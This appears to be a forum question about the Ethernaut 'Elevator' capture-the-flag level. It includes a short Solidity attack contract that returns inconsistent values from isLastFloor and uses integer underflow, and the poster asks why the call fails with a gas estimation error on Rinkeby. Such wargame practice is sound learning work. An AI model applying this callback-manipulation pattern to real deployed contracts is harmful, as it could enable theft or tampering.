I’m trying to solve Ethernaut #11 Elevator. My solution works when I deploy a copy of the instance contract by myself on Remix VM, but when I try it on the real instance on the Rinkeby network, using Remix’s Injected Provider – Metamask, calling the function goToTop() gives a "Gas estimation failed". I have also tried others’ solutions that I have found online, and they all give me the same error.
My solution:
pragma solidity ^0.6.0; contract Elevator { function goTo(uint _floor) public {} } contract Attack { Elevator public e; bool public toggle = true; constructor(address target) public { e = Elevator(target); } function goToTop() public { uint top = 0; top -= 1; e.goTo(top); } function isLastFloor(uint) external returns (bool) { toggle = !toggle; return toggle; } }